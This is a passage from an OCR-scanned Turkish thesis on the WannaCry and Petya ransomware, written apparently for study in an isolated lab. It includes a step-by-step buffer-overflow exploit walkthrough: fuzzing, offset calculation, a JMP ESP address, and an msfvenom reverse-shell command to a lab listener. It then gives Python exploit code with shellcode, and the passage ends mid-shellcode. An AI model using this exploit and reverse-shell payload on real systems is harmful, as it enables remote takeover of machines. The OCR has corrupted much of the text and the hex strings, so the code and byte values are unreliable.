bagl hastaneler ve Honda motor fabrikasinin tamamen kapanan sistemlerinden aldiklari
coklu ornekler ile WannaCry zararli yazilimimi kontrollii ortamda analiz etmislerdir.
Gergeklestirdikleri calismada yazarlar zararli yazilimin teknik 6zelliklerini, algoritmasini,
sifreleme yaklagimini tespit etmeyi amaglamislardir. Sonug¢ olarak bu yontem ile log
kayitlar1 incelenerek zararli yazilimin ayirt edici ozellikleri ¢ikarilmis ve bir¢ok fidye

yazilimimin 6zelliklerinin dogru sekilde gikarilmasi saglanmistir [48].
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Cabaj ve arkadaslari [49], yaptiklari ¢alismada Linux igletim sistemini “yonetici kutu” olarak
nitelemis ve tlim zararli analizinin yapilmasindan sorumlu olan kutu olarak belirtmistir. XP
kutu, davranigsal analizin yapilacagi kutu olarak secilmistir. Auxilary ise Honeypot olarak
kullanilacak olan kutudur. Fakedns ise Inetsim gibi araclarin kullanilacagi yer olarak
belirlenmistir. Gateway iizerinde lokal ag ile internet arasindaki filtreleme, erigim izinleri ve
NAT islemi yapilmigtir. Bu dinamik test ortami ile Cryptowall trafigi analiz edilerek zararl

yazilimin gittigi URL adresleri ve alan adlar1 tespit edilmistir [49].

Martin ve arkadaslarina [50] gore WannaCry, ms17 010 agikligini kullanarak kullanici ile
etkilesime girmeden direk olarak hedef sisteme bulasan, bulastigi sistemi sifreleyen ve
acmak icin TOR aglar {izerinden fidye isteyen kotii amacl bir yazilimdir. WannaCry
Shadow Brokers adli bir hack grubunun NSA tarafindan yazilan exploit kodlarinin ifsa
edilmesiyle ortaya cikan acig1 hizli bir sekilde exploit ederek yayinlamistir. Bu zararh
yazilimdan Hollywood Presterian Medical Center, Australian Cross Blood Service gibi

onemli yerler etkilenmistir.

Ehrenfeld [51] tarafindan yapilan ¢alismada, Bu saldiridan 150 tilkede 230.000 civarinda
bilgisayarin etkilendigi iddia edilmektedir.

Kim ve arkadaslar1 [52] tarafindan yapilan g¢alismada, fidye yazilimlari ig¢in alinan
onlemlerin mevcut kotii amach yazilima kars1 aliman onlemler ile benzerlik gosterdigi
belirtilmistir. Ornegin, genel kotii amagli yazilimlar1 énleme programlari kara liste yapisi’n1
kullanmaktadir. Zararli olma ihtimaline sahip uygulama veya siteler siniflandirilarak kara
listeye alinmakta ve uyari ¢ikarilmaktadir. Bunun igin yazilim kodlarin1 analiz eden ve
davraniglarin1 goézlemleyen bir uygulama calismaktadir. Bu tiir sistemler saldiriya maruz
kalan kisiler lizerinden alinan log kayitlari ve saldir1 yaklasimlarina dair kanitlar1 kullanarak
bir sonraki saldiridan korunma yontemlerini belirlemektedir [52]. Bu durum da daha 6nce
karsilasilmamis veya kiicilik degisiklikler yapilmis saldirilarin anlik olarak engellenememesi
sonucunu dogurmustur. Bu makale buna bir ¢6ziim 6nermektedir. Yazarlar tarafindan
onerilen yaklasimda, uygulamalar sadece beyaz listede yer aliyorsa dosyalari agmasina izin
verilmektedir. Boylelikle fidye yazilimlarinin dogrudan dosya degistirme izninin olmamast
ve kullanici tarafindan ek izin verilmesinin gerekmesi saldirilardan koruyacak bir yontem
olarak Onerilmistir. Dolayisiyla fidye yazilimlarinin engellenmesinde en biiyiik

problemlerden biri olarak goriilen es zamanli engelleme gergeklesebilmektedir [52].
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Mohurle ve Manisha’ya [53] gore, Yapilan bir ¢calismada fidye yazilimlarindan korunmak
icin antiviriislerin giincellenmis olmas1 gerektigi, spam mesajlarinin baskalarina
iletilmemesi, antispam cihazlarinin diizgliin yapilandirilmasi1 gerektigi, indirilen dosya

tiplerininde beyaz liste kullanilmas1 gibi tavsiyeler verilmistir [53].

WannaCry gibi bir zararlinin sunucu tarafli bir zaafiyetle yayildigi gbz Oniine alinirsa
mevcut geleneksel korunma yontemlerinin ne kadar yetersiz kaldig1 goriilecektir. WannaCry
ile alakal1 pratik internet bilgileri ve analiz teknikleri olmasina karsin yeni bir zararli yazilim

olmas1 nedeniyle akademik olarak literatiirde cok az kaynak bulunmaktadir.

Son yillarda siber saldirilarin etkisinin fidye saldirilarinda daha fazla oldugu goriilmektedir.
Siber saldirilarda en biiylik etkinin son donemde fidye yazilimlart ile gerceklestirildigi
verilen raporlarda yer almaktadir. Fidye yazilimlarinin 6zellikle WannaCry ve Petya ile
beraber 0. Giin zaafiyetlerini kullanarak ¢ok daha hizli ve etkin oldugu goriilmiistiir. Fidye

yazilimlarina yonelik gerceklestirilmis literatiir ¢alismasi asagida yer almaktadir.
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3. MATERYAL VE YONTEM

WannaCry ve Petya zararli yazilimlarinin incelenebilmesi i¢in gereken yaklasimlar ve temel
terminoloji bu bolimde anlatilmistir. Bahsedilen zararli yazilimlar {izerinde gergeklestirilen
teknik islemlerin anlasilabilmesi igin exploit, 0.giin (zero day), fidye yazilim1 (ransomware),
zararli yazilim ve tersine miihendislik konular1 hakkinda bilgi sahibi olunmasi
gerekmektedir. Yontem kisminda analiz boliimiinde yapilacak teknik analizler i¢in gerekli
olan ¢alisma ortaminin nasil kurulacagi anlatilirken, exploit uygulama ortami(lab1) kurularak
genel olarak bir exploit kodun nasil yazildigi anlatilacaktir. Exploit uygulama ortami
tamamlandiktan sonra ransomware tanimi yapilarak agik kaynaklardan bulunan bir fidye
yaziliminin nasil analiz edildigi konusuna deginilecektir. Ardindan Deep Web arastirmalari
ile devam edilerek Samba lizerinde ¢ikan agiklik ve exploit kodlar incelenerek hedef sistemi
nasil ele gecirdikleri gosterilecektir. Microsoft biilteni ve exploit-db.com gibi sitelerden
yararlanilarak konu iizerinde ilerlenmistir. Akademik makaleler taranarak onceki analiz
yaklagimlar1 incelenmis, bu yaklasimlara yeni teknikler eklenerek analiz basamaklari
yeniden giincellenmistir. Ayrica biitliinlesik ¢6ziim sunabilmek adina konuda detaya

inilmistir.

Petya ve WannaCry zararli yazilimlart sunucu tarafli ms17 010 agikligin1 kullanarak
bilgisayarlar1 ele gecirmislerdir. WannaCry ele gecirdigi makineleri sifrelerken Petya
dosyalar sifrelemenin yaninda MBR ve MFT dizinlerini de sifrelemektedir Ayrica petya
saldirisinin 2017 de kullanilan siiriimiinde dosyalar wipe edilerek silinmektedir. Ornegin,
WannaCry calisma mekanizmasinin anlagilabilmesi i¢in iki 6nemli konuyu anlamak
gerekmektedir;
1. Exploit Nedir? Neden Yazilir? Petya ve WannaCry tarafindan hangi exploit kodlar
kullanild1?

2. Fidye yazilimi nedir? Nasil ¢aligir?

Bu konular anlagildiktan sonra detayli analizler yapilacaktir. Bu konularda uygulamali kod

ornekleri ile detayl sekilde incelenecektir.

WannaCry ve Petya zararli yazilimlariin diger fidye yazilimlarindan farkinin anlagilmasi
ve tam olarak sistemi nasil etkilediginin ortaya konulmasi amaciyla olusturulan kontrollii

test ortamu ile exploit incelemesi gergeklestirilecektir.
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3.1. Analiz ve Exploit Test Ortaminin Kurulmasi

Sekil 3.1°de gosterilen test ortami iki amaca yonelik kurulmustur. Birincisi WannaCry ve
Petya ya kadar siber saldirilarda kullanilan fidye yazilimlar1 ile WannaCry ve Petya’nin
farkinin temelini olusturan Samba agikliklarinin kullanimi ve dip paket (Deep Package)
incelemelerinin yapilmasi, ikincisi ise fidye saldirisi analizi yapilmasidir. Bu boéliimde
exploit ve fidye yazilimi konular1 uygulamali olarak islenecektir. Exploit lablari bu béliimde
ele alinacakken, Petya ve WannaCry zararli yazilimlarinin detayli analizi tezin 6zgiin konusu
olarak bir sonraki béliimde yapilacaktir. Test ortamin1 kurmak i¢in Vmware sanallastirma
platformundan yararlanilarak, Windows Server 2008, 2003 ve WINDOWS 7 isletim
sistemleri exploit edilmek {izere test ortaminda konumlandirilmistir. Kali Linux atak yapmak
icin Remnux ise gerekli durumlarda malware analizi islemlerinde kullanilmak iizere

konumlandirilmistir. Kurulan lab semasi Sekil 3.1’de gosterilmistir;

KALILINUX  apt-get update && apt-get upgrade

Malware Analiz Kutusu
Inetsim Fake DNS

‘Windows XP

Temel Exploit yazma lal icin kuruldu.
Immunity Debugger Ve Tersine
Miihendislik yapilacak program iizerinde
barmmalkta.

REMNTX

WINDOW

Windows 7 iizerinde IDA
Pro, Immunity Debugger,
Process Monitor gibi
programlar yiiklenmistir.

Zafiyet Kodlar1 — [MIS17_010] [Ms09 050  [MS08_067]

Sekil 3.1. Tez kapsaminda olusturulan lab blok semasi

Lab c¢aligmalarinda isletim sistemlerinin konuldugu sanallagtirma ortamlarinin ag ayarlar
host-only olarak ayarlanmigtir. Paylasilan ag igerisindeki bilgisayarlar birbirleri ile
konusabilirken internete ¢ikmalar1 engellenmistir. Dinamik analiz sirasinda zararli alan
adlarinin bulunabilmesi i¢in sadece Remnux iizerine iki adet ag kart1 takilmis biri internete
biri host only aga bakacak sekilde yapilandirilarak gerektigi durumlarda diger isletim
sistemlerine gateway olarak ayarlanacak sekilde birakilmigtir. Ag ayarlarini Resim 3.2°de

gosterildigi gibi yapilandirilabilir.



File Edit WView WM Tabs Help
P - YO d | O |

Home L1 Windows 7 x64

1] Windows 7 x64

[ Power on this virtual machine

G Edit virtual machine settings

Virtual Machine Settings

Device Surmmary
U Memory 2GB
[ Processors 1

(AHard Disk (SCSI) 60 GB
*)CD/DVD (SATA) Auto detect
ESinetwork Adapter  NAT

USE Controller Present
'!:' | Sound Card Auto detect
;E,LJF‘rinter Present
@Display Auto detect

1 KaliLinux-2017. 1-vm-amda4

Device status
Connected
Connect at power on

MNetwork connection

() Bridged: Connected directly to the physi
Replicate physical network connectic

() MAT: Used to share the host's IP addres

@ Host-only: & private network shared witl
() Custom: Spedific virtual network

VMnetd

) LAM segment:

LAMN Segments...

Resim 3.1. Ag yapilandirmasi
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Resim 3.1°de gosterilen ayarlar kisminda ag ayarlar1 yapilabilmektedir. Ayrica ek olarak ag

kart1 ekleme ve c¢ikarma opsiyonlar1 ile birden fazla ag karti isletim sistemine

takilabilmektedir. Windows kutularin host only kullanilmasinin sebebi, zararli yazilimin

sanal kutulardan fiziksel kutuya gegerek tiim sistemi etkileme olasiliginin olmasidir. Bu
tehlikeden dolayi izole ortamda ¢alisilmistir. Kurulumdan hemen sonra igletim sistemlerinin

temiz halleri snapshot ile kaydedilmistir. Olas1 problemlerde basa doniilerek bazi testler

tekrar edilmistir.
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Windows 7 x64 - VMware Workstation

File Edit View VM Tabs Help

0 || B

Resim 3.2. Snapshot alim1

Test ortami kurulumlarinda Kali Linux {izerinde apt-get update ve apt-get upgrade komutlari
ile isletim sistemi giincellenmistir. Windows 7 {izerine Process monitor, IDA pro gibi
programlar kullanilmigtir. Windows XP tizerinde ise exploit lab i¢in Immunity Debugger

programi kullanilmistir.

3.2. Exploit Kavrami

Exploit; sistem, yazilim ve ag uygulama zaafiyetlerinden yararlanarak hedef sistemi ele
gecirmek, hedef sistem lizerinde yetki yiikseltmek ya da hedef servisi servis dig1 birakmak
icin yazilmig zararli kodlara verilen isimdir. Exploit de mantik sistemdeki ac¢ikliklarin biri
kullanilarak, saldirgan tarafindan gelistirilmis bir payload adi verilen kod dizinini
calistirtlmasint saglamaktir. Boylelikle sistem iizerinde bir kullanict siiper kullaniciya
cevrilebilmekte ya da uzaktan sisteme yetkisiz baglanti gibi bir¢ok onemli hak elde
edilebilmektedir. Exploitlerin ¢cok yogun kullanildig1 saldir1 gesitlerinden biri de bellek
tagmasidir. Bellek tabanli tagsma problemlerinde kodu yazan kisi girdileri diizglin sekilde
filtrelemedigi icin hafizada tagsma olay1 gerceklesmekte bunun sonucunda da programin
calisma mekanizmasi EIP ile yonlendirilerek hafizaya doldurulan kabuk kod
calistirilmaktadir. Boylece hedef sisteme kabuk baglantis1 yapilarak hedef sistem ele
gecirilmektedir. Bu konunun daha iyi anlasilmasi igin asagida yazilan zaafiyet iceren koda

yonelik exploit gelistirme 6rnegi gosterilmistir.

3.3. Exploit Gelistirmenin Anatomisi

Tezde incelenen WannaCry ve Petya zararli fidye yazilimlarinin ¢ok daha fazla sistemi
etkilemesinin en biiyiik nedeni olan 0. Giin agikliklarinin kullanilmasi oldugu bilinmektedir.
Bu sebeple oncelikle 0. Giin agikliklarmin ne oldugu ve oOneminden bahsetmek

gerekmektedir. Bu baglamda exploit gelistirme anotomisi bagliginda oncelikle 0. Giin
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acikliklar1 tanimlayarak baglanmaktadir. Yamasi ¢ikmamis, daha iireticisi tarafindan bile
bilinmeyen bir agikliga 0. Giin agiklig1 (Zero Day) ad1 verilmektedir. Asagida yapilacak olan
uygulamada sunucu tarafli agiklik bulunduran bir uygulamaya yonelik nasil exploit
gelistirildigi ve bu siirecin basamaklar1 gosterilmistir. Exploit yazmanin adimlar1 asagidaki
gibi 6zetlenebilir.

e Girdi noktalarinin tespiti

e Fuzzing islemi

e Offset deger tespiti

e Ziplama yapacak makine kodunun bellekte bulundugu adresin tespiti

e Shellcode olusturma

e Exploit’in son halini hazirlama.

Ek.1’de yer alan 6rnek kod CPP dili ile yazilmis basit bir telefon defteri programidir. Kod
basitce incelendigi zaman soket programlama ile 1101 portundan TCP ag soketi acildig
goriilmektedir. Ayrica gelen karakter dizisi strcpy fonksiyonu kullanilarak hafizada ayrilan
sl bir bolgeye tasinmaya ¢alisilmistir. Iste bu noktada bellek tabanli tasma problemi
ortaya ¢ikmaktadir. Her zaman kaynak kod goriilemeyecegi i¢in asagidaki islemlerde kodun

derlenmis hali lizerinde tersine miihendislik yapilarak exploit gelistirme siireci anlatilmistir.

3.3.1. Fuzzing

Exploit gelistirme siirecinde 2. Adim olarak fuzzing adimi yer almaktadir. Bu asamada ilk
adimda debugger tizerinde ¢alistirilan program reverse edilerek fuzzing yontemi ile zaafiyet

tasiy1p tasimadigi kontrol edilmistir. Kali tarafinda Ek.2°de yer alan fuzzer kod yazilmistir;

Ek.2’de yer alan kod ¢alistirildiginda Immunity debugger iizerinden bellek tabanli tasma
oldugu Resim 3.3’ deki gibidir.
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ABARARAA
A8a7D72C
ARARAAAA

aan 7BD4C
41414141

414 LILIL
AA24CE1 A

41414149

510 p2ge
Aa1Ee
510 b
Aaz3
HA3E
aaaa

LastErr
AAA1iA246

empty
empty
empty
empt y
empty
empt y
empty
empty

32hit
32hit
32hit
32hit
NULL

ERROR

3 2

Cond B8 @

A{FFFFFFFF
A<FFFFFFFF»
A{FFFFFFFF>
A{FFFFFFFF)

YFFDEBAAFFF>

SUCCESS (AARAAAOA>

{NO.MB,.E,BE.NS,.PE.GE.LE>

H8A7BD4C
#BA7BD5A
A8a'7BD54
ABA7BDS 8
A8a'YBDSC
A8A7BD6A
A8A7BDG64

41414144
414141414
41414141
41414144
41414141
4414141
41414

ABA7BD6S

(s

Resim 3.3. Bellek tabanli tasma

Resim 3.3°de goriildiigii gibi ¢alistirilan kod parcacigi sayesinde normalde belirli hafiza
alanlarinda islem gérmesi gereken ve degerleri ilgili hafiza alanina yazilmasi gereken bir
programda, farkli bir hafiza alanindan okuma ve yazma yapilmaktadir. Boylelikle
programda belirlenmeyen bir hafiza alanindan okuma ve yazma islemi yapilabilir hale
gelmektedir. Bu durumda ilgili alandan zararli bir yazilimin yiiklenmesine olanak

saglamaktadir.

3.3.2. Offset (EIP) degeri hesaplama

EIP degerinin kag¢ byte sonra tastigin1 bulmak i¢in pattern olusturularak offset deger hesab1
gerceklestirilmigtir. Python ile offset belirleme kodu hazirlanmis ve Ek.3’de bu kodlar

verilmistir.
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Kod caligtirildiginda EIP iizerine oturan Ornek alinarak offset degeri Resim 3.4°de

bulunmustur.

Registers (FPU>

EA¥ BR8BRABA

ECY BBA7BDCS

ED¥ ABAAAAAA

EBY BBA3E271A

ESP B8A7BD4C "8RatabBAbliAbZAbIAb4AbSAbGALYALBAL
EBP 413661441

ESI B@2492DDA

EDI B8824CE1Q

61413761

@823 32hit B({FFFFFFFF>
#a1B 32bit B{FFFFFFFF>
#8823 32bit B<{FFFFFFFF»
@823 32hit BC(FFFFFFFF>
@838 32bhit 7FFDEBAACFFF>
8808 NHULL

gl
-
o]

SN0

LastErr ERROR_SUCCESS <(BAHABAAA
AdR18246 (HO.HB.E.BE.HS.PE.GE.LEX>
empty

empty
empty
empty
empty
empty
empty
S5TI7 empty
3218 SPUODZDI
AR Cond W B B B Epr BB (GT>

PEA7BD4 39614138 [BhAa9
HOAYBDSE| 41386241 |ALAA
ABAYBDS4| 62413162 (bhinh
BBAT7BDS8 | 33624132 | 2Ab3
BABAYBDSC| 41346241 |Ab4n
ABAYBD6A | 62413562
BOAT7BDG4 | 37624136
ABAY7BDGE | 41386241
ABAYBD6C | 63413962
ABAT7BD?A| 31634130
BABAYBD?4| 41326341

Resim 3.4. Offset degeri

Metasploit kullanilarak offset deger hesaplamasi Cizelge 3.1°de verilen kod kullanilarak
yapilmistir.

Cizelge 3.1. Offset deger hesaplamasi

root@Kkali:/usr/share/metasploit-framework/tools/exploit# ./pattern_create.rb -1 100

Aal0AalAa2Aa3AadAabAa6Aa7Aa8Aa9Ab0AblIAb2Ab3Ab4ALSAL6AL7 AbBADIACOACIAC2AC3ACA
ACc5Ac

6Ac7AC8ACOAdOAdIAdI2A

root@Kali:/usr/share/metasploit-framework/tools/exploit#
root@kali:/usr/share/metasploit-framework/tools/exploit# ./pattern_offset.rb -q 61413761

[*] Exact match at offset 22
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3.3.3. Programin yonlendirilmesi
Offset degeri belirtilen kodlar kullanilarak 22 olarak hesaplanmistir. EIP {izerinden ziplama

yapmak i¢in JMP ESP gibi bir komutun adresi Resim 3.5’den bulunarak program

yonlendirmesi yapilmistir.

p——
7C8a1bBA | ED I
JC8wipbl | B191 PCYEDI?E X
7C8A1AAB| 7C C4 kernel3Z.7?CEBAFD1
7C8pipBD | BA%1 PC2DFF?8 DD
7C8@1613| 7C 7E kernel3Z.?CBBAFB3
7C8A1815 9@
7881617 CE kernel32.?CBBAFE?Y
78010819
7C88101A
7C8A1081B 8E kernel32.?CBAAFAR
7C8A1681D
7C8A1B1E
7C8A101F CB kernel3Z2.?CBBAFEC
801021 92 -
7C891623 DE JL SHORT kerneld2.7CBHA1863
PC8BiB25 | DB?A PCFEDB?6
7C8A1682B| 7C 2E JL SHORT kerneld2.7CB@185EB
FC8E182D| DDA PCLEDC?H
7C881033 M1 JL SHORT kernell2.?CBAHFCH
7C881035 1 7C7ED2 SUB -
7C88183a NOP
7C8810A38 EE JL SHORT kernell2.PCEH182E
78816830 IRETD
YC88A183E NOP
7C8B1A3F| YC 95 JL SHORT kernell2.PCBAEFDG
YC8@1p41 | 1298 PC1ES793 ADC N
7C8010847 | ~7C BA JL SHORT kernell2.PCBA1863
7YC801P4% | 3191 7C4AFE?8 ROR
7C8B104F | ~PC FA JL SHORT kernell2.?CE8@184EB
7YC8@ip51 | 1897 PCF520%8 SBB
JC8A1ASY)| VG 6E JIL. SHORT kernel3d2 . PCEA1IACY

Find command

MPESP

v Entire block

Resim 3.5. JIMP ESP komutu arama

Executables kismindan kernell32.dll secilerek JMP ESP komutunun adresi Resim 3.6’da
tespit edilmistir.

[# CPU - main thread, module kernel32

7C874413 | FFE4 JHP

Resim 3.6. JIMP ESP komutunun adresi
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Eger EIP iizerine bu adres yazilirsa program akisi zararl yazilimin eklendigi alan icerisinden
devam edecektir. Shellcode bu alan igerisine yazilarak ¢alistirilmakta ve hedef bilgisayardan
baglanti elde edilmektedir. Bu islem yapilmadan 6nce kotii karakter testi yapilarak shellcode

icerisinde gegen kotii karakterler asagidaki gibi temizlenmistir.
3.3.4. Istenilmeyen karakterlerin analizi

Istenilmeyen karakterleri bulmak icin Cizelge 3.2°de verilen adimlar izlenmistir. Tiim
karakterler stack igerisine gonderilerek bozulmanin oldugu noktalara bakilmis ve sonrasinda
istenilmeyen karakterler shellcode olusturulurken ayiklanmistir. Kullanilan karakter dizileri

asagidaki gibidir.

Cizelge 3.2. Istenilmeyen karakter analizi

("\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0fAx10\x 1 1\x12\x13\x14\x15\x 1 6\x1 7\x18\x19\x
la\x1b\x1c\x1d\x1e\x1f"

"\x20\%21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3
a\x3b\x3c\x3d\x3e\x3f\x40"
"\X41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x5 7\x58\x59\x5a\x5
b\x5c\x5d\x5e\x5f"

"\x60\x61\x62\x63\x64\x65\x66\x6 7\x68\x69\x6a\x60\x6¢\x6d\x6e\X6f\X70\X71\X72\X73\X74\X75\X 7 6\X7 7\X78\X79\X7
a\X7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9
a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xal\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb 7\xb8\xb9\xba\
xbb\xbc\xbd\xbe\xbf"

"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xch\xcc\xcd\xce\xcfixd0\xd 1 \xd2\xd3\xd4\xd5\xd6\xd 7\xd8\xd9\xda\
xdb\xdc\xdd\xde\xdf"
"\xe0\xel\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xeA\xfO\XF1\xf2\xf3\xf4\xf5\xf6\x f7\xf8\xfo\xfa\xfb\
xfc\xfd\xfe\xff'")

Exploit icin gelistirilmekte olan kod Cizelge 3.3’ deki gibi glincellenmistir;
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Cizelge 3.3. Gelistirilen giincel exploit kod parcasi

#!/usr/bin/env python

import socket

import sys

def connect():

global s

s = socket.socket(socket. AF_INET, socket. SOCK_STREAM)

try:

s.connect((sys.argv[1], 1101))

except:

print “connection failed [!]"

def bad():

badchars =
("\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x
1a\x1b\x1c\x1d\x1e\x1f""\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34
\Xx35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"""\x41\x42\x4 3\x44\x45\x46\x4 7\x48\x49\x4a\x4b\x4c\x4d\x4e\x
4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5¢\x5d\x5e\x5f""\x60\x6 1\x6 2\x6 3\X64\X65\X66\X6 7\x68\X69
\X6a\x6b\x6¢c\x6d\x6e\X6F\X70\X71\X72\x73\X74\X75\X76\X77\X78\X79\X7a\x7b\x7c\x7d\x7e\x7f"""\x80\x81\x82\x83\x
84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x
9f""\xa0\xal\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb 1\xb2\xb3\xb4\xb5\xb6\xb 7\xb8\xb9\x
ba\xbb\xbc\xbd\xbe\xbf*"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xch\xce\xcd\xce\xcfixd0\xd1\xd2\xd3\xd4\x
d5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"*"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe 7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf
0\xFL\xF2\xF3\xF4\xF5\xf6\xF7\xf8\xf9\xfa\xfh\xfc\xfd\xfe\xff")

exploit = 22 * "\x41" + 4 * "\x42" + badchars
s.send(exploit)

def main():

connect()

bad()

main()

Test islemine stack bulgular1 ile devam edilerek hi¢ bozulma olmayinca kadar denemeler
yapilmis bozulmaya sebep olan karakterler kotii karakter listesine alinarak shellcode
icerisinden c¢ikarilmak {izere not edilmistir. Bu uygulamada sans eseri kotii karakter

cikmamustir.



Registers C(FPU>
EnX BBABABAA
ECR BBAT7BDY?C
EDX 61064242
EBX BHA3EZ2Y38
ESP BBA7ED4AC
EBFP 41414141
ES1 8B249DDA
EDI B@24CB58

EIF 42424242

@823 32hit AC(FFFFFFFF>)
#8818 32bhit A(FFFFFFFF>
A823 32bit ACFFFFFFFF>
A823 32bit A(FFFFFFFF>
Aa38 32bit 7FFDEBBACFFF>
68688 MULL

LastErr ERROR_SUCCESS (@00B0B0A>
B80168246 <(HO.NMB.E.BE.NS.PE.GE.LE>

empty
empty
empty

empty
empty
empty
empty
empty
3 2
BBAE Cond B @

Address

BBA7BDFC
BBA7BER4
BBA7BEAC
BAAT7BEL4
BBAT7BELC
BAATBEZ4
BBAT7BE2C
BBA7BE3 4
BBA7BE3C
BBA7BE44
BAAT7BE4C
BBA7BES 4
BAATBESC MMZoptdn
BBA7BEG4 l5esCn=4+
B@A7BEG 2L )iz -

a=

J S SR T T
Sl O iz AN A

=R

Resim 3.7. Istenilmeyen karakter tespiti

Bu noktadan sonra shellcode Resim 3.7°de ki gibi olusturulmustur.
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3.3.5. ShellCode olusturma

root@kali: # msfvenom -p windows/shell reverse tcp LHOST=10.5.

100.137 LPORT=443 -f ¢

Mo platform was selected, choosing Msf::Module::Platform::Windows from the payloa

d

Mo Arch selected, selecting Arch: x86 from the payload

Mo encoder or badchars specified, outputting raw payload
Payload size: 324 bytes

Final size of ¢ file: 1386 bytes

unsigned char buf[] =

"Wrf oy xedy B2 xB0Y xBEY 00N xBEY X8I xedY 31N o0 64 xBh x50, x 30"
"\ xBbY 524 X0 XBbA x5 2N 14N xBhA X T2\ 128N x0T xb Ty xdan k26 3N x T "
"\rach kI KBI\XT A\ RO2Y 2\ X 20N ko e Ty xBd k01N e Ty ke 2\ x T2 %52 "
"WxETWRBbY 52y X104 xBhy kdah x 3\ X8 Ay X 11N X T8 xe 3N k48 01 xd1"
"\ 151 xBbY x50 %204 %01 xd 3 x B x40 ¥ 18% xe3Y x3a\ x49% x8b\ x34\ x8Bh"
"0y xdey 31k F Py kA ke ko P\ xOd Y 01y 7Y x 38 ke @ x 75 x TEN x03"
"W Tdy e FBY 3N X T X248 X 75N xed\ x58Y xBhY X 58 X244 X014 xd 3% 66 xBh"
"\ x0ch xdbh xBbY k584 x 1o k01 xd 3% xBhY x04Y xBbY x 014 xd @Y xB9Y k44, x 24"
"H24Nx5bY By KB 1 x5O k5aN kO I\ KT Ty e x5y x5y x5a xBby k12N xebh"
"\ xBdY x5dY BB X33\ X3 2 KOO x OO KB KT T KT3I\ 32, x5 T k54 68 x4 "
"\ XTTY\ K26\ x0T\ x T\ xd5% xbBY 90N xB 14 xDOY X0\ Xx29\ x4\ X544 X504 X68 "
"W X2 xB0Y BhY X0 kT xd BN 50N x50 x50 x50 X404 %504 404 x50 x68 "
"\ xeah x0T od Ty ke xf iy xd5\ 974 x6ah x05% x68Y xBah x05Y k644 x B0, x68"
"4 x02%x00% 01 xbb B9 xeb\ x6a\ X 10N 56 X 57 X688, x99 ka5 kT4 61"
"WrF Yy dSY KB xe@ 1T k0 T Y xdel k08 X 75 xec\ k68 x TOY kb5 xa2"
"y x56Y ) F T xd5Y x68Y X634 x6d\, x64Y X004 k804 xe3\ K57\ K5 T\ K57\ k3 1\ xF6"
"W xBat k124 x50 %56 ke kTd\ xBEN\ XC T dd X 24N X3 XB 1Y k014 x8d x44"
240 10% KB XO0N kA4 k54N x50% x50 x50\ X564 x46Y X504 xde\ x50\ x50 "
"W X533 RO BB XTI oo k3T xBEN T T d 5 X B9 xelh xdet 56 ka6 x T "
"Y1 30% 68 08 BT x Ldy k60N x T Y xdS Y kbbb FOY xb5Y xa2Y 564 x68Y xak"
"4 %95 xbd\ x9d xFFhy d S 3\ KB X T o\ x0ah xB80Y x T xed' x 75\ x054 xbb "
"W rATY 13N T2y k6T xBa k00 k53 x T xd5";

rectakali: #

Resim 3.8. Shellcode Olusturma

Resim 3.8’de yer alan kod pargasi ¢alistirilarak Kali Linux’da ki metaexploit igerisinde yer

alan yeni nesil payload {iretici arac1 olan msfvenom ile derlenmesi saglanmistir. Boylelikle

Shellcode olusturulmustur. Shellcode olusturulduktan sonra adres yonlendirmesi yapilarak

exploit kodun galigsmas1 saglanmistir.

3.3.6. Exploit kodun son hali

Exploit kod igerisine uygun parametreler konularak son hali Cizelge 3.4’de verilmistir.

Shellcode decode halde bulunmaktadir. Acilirken hafiza iizerinde genislediginden

shellcode’dan 6nce nop alani birakilmigtir.



Cizelge 3.4. Test i¢in gelistirilen Exploit kod

#!/usr/bin/env python

import socket

import sys

def connect():

global s

s = socket.socket(socket. AF_INET, socket. SOCK_STREAM)
s.connect((sys.argv[1], 1101))

def exploit():

chunk = 22 * "\x41"

eip = "\x13\x44\x87\x7C" # 7C874413 kernel32.dll IMP ESP
nop = 40 * "\x90"

shellcode = (*\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"

"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb 7\x4a\x26\x31 \xff"
"\xac\x3c\x61\x7¢\x02\x2¢\x20\xc1\xcfAx0d\x01\xc 7\xe2\xf2\x52"
"\X57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8h"
"\X01\xd6\x31\xffixac\xc1\xcf\x0d\x01\xc7\x38\xe0\x 75\xf6\x03"
